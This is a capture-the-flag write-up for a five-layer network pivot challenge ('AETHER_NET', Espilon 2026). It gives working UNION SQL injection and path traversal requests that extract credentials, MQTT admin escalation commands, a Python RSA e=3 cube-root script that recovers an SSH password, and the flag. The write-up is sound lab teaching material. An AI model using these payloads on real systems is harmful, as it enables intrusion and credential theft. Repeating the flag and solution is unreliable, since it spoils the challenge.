| .. | ||
| README.md | ||
AETHER_NET
| Field | Value |
|---|---|
| Category | Misc |
| Difficulty | Insane |
| Points | — |
| Author | Eun0us |
| CTF | Espilon 2026 |
Description
Multi-layer network pivot challenge. Five nodes, each requiring credentials extracted from the previous layer.
lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22
TL;DR
5-layer pivot: terminal hints → SQLi on the web app (and path traversal) → custom MQTT escalation to get RSA parameters → RSA e=3 cube root attack to recover SSH password → SSH to deus-admin → read the flag.
Tools
| Tool | Purpose |
|---|---|
nc |
Access lain-terminal and bear-iot |
curl |
SQL injection on alice-web |
Python 3 + gmpy2 |
RSA cube root attack |
ssh |
Final access to deus-admin |
Solution
Layer 01 — Entry Terminal
nc <host> 1337
cat notes.txt
cat /var/log/network.log
cat ~/.bash_history
notes.txt maps the full topology and says:
"The search function... doesn't sanitize input. The system_config table has everything."
network.log lists all five nodes and their ports. .bash_history shows partial MQTT
credentials and previous curl commands.
📸
[screenshot: notes.txt showing network topology map]
Layer 02 — Alice-Web (SQL Injection)
Confirm the hint:
curl http://<host>:8080/api/status
Response: "The search endpoint passes input directly to SQLite. The system_config table contains network credentials."
UNION SQLi on /search?q=:
The query is SELECT id, name, room, status FROM patients WHERE name LIKE '%<input>%'
curl "http://<host>:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--"
Decoded: ' UNION SELECT null,key,value,description FROM system_config--
Response extracts:
{"results": [
{"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"},
{"id": null, "name": "mqtt_pass", "room": "<BEAR_PASS>", "status": "IoT broker password"},
{"id": null, "name": "admin_token", "room": "<TOKEN_HEX>", "status": "24-char admin token"},
...
]}
Alternative — path traversal:
curl "http://<host>:8080/docs?file=../../var/aether/config.json"
Returns the full instance config with all credentials.
📸
[screenshot: SQLi response returning mqtt_pass and admin_token from system_config]
Layer 03 — Bear-IoT (Custom MQTT)
nc <host> 1883
CONNECT operator <mqtt_pass>
ADMIN <admin_token>
LIST
LIST reveals two hidden topics:
wired/system/configwired/knights/<random_10_chars>
SUBSCRIBE wired/system/config
Response includes RSA parameters:
RSA Public Key:
n = <512-bit decimal>
e = 3
Ciphertext (hex): <hex_string>
SUBSCRIBE wired/knights/<random>
Response (base64-decoded): "e=3. No padding. The plaintext is short. Cube root gives the key."
📸
[screenshot: MQTT response with RSA public key and ciphertext]
Layer 04 — RSA Cube Root Attack
Conditions for the attack:
nis 512 bitse = 3- Plaintext
m≤ 20 bytes (m < 2^160) - Since
m^3 < n, modular reduction never occurs:c = m^3exactly - Therefore:
m = ∛c(integer cube root)
import gmpy2
n = <n_value>
c = int("<ciphertext_hex>", 16)
m, exact = gmpy2.iroot(c, 3)
assert exact, "Cube root is not exact"
deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode()
print(f"SSH password: {deus_pass}")
📸
[screenshot: Python script computing the cube root and printing the SSH password]
Layer 05 — SSH to Deus-Admin
ssh deus@<host> -p 22
# password from Layer 04
cat flag.txt
📸
[screenshot: SSH session showing the flag in flag.txt]
Key concepts
- UNION-based SQLi:
' UNION SELECT ... FROM system_config--exfiltrates hidden credentials - Path traversal:
../../var/aether/config.jsonbypasses directory restriction - Custom MQTT escalation:
ADMIN <token>unlocks hidden broker topics - RSA e=3 cube root attack: When
m^3 < n(no reduction),c = m^3exactly — integer cube root recovers plaintext in O(log n) time
Flag
ESPILON{4eth3r_n3t_d3us_4dm1n}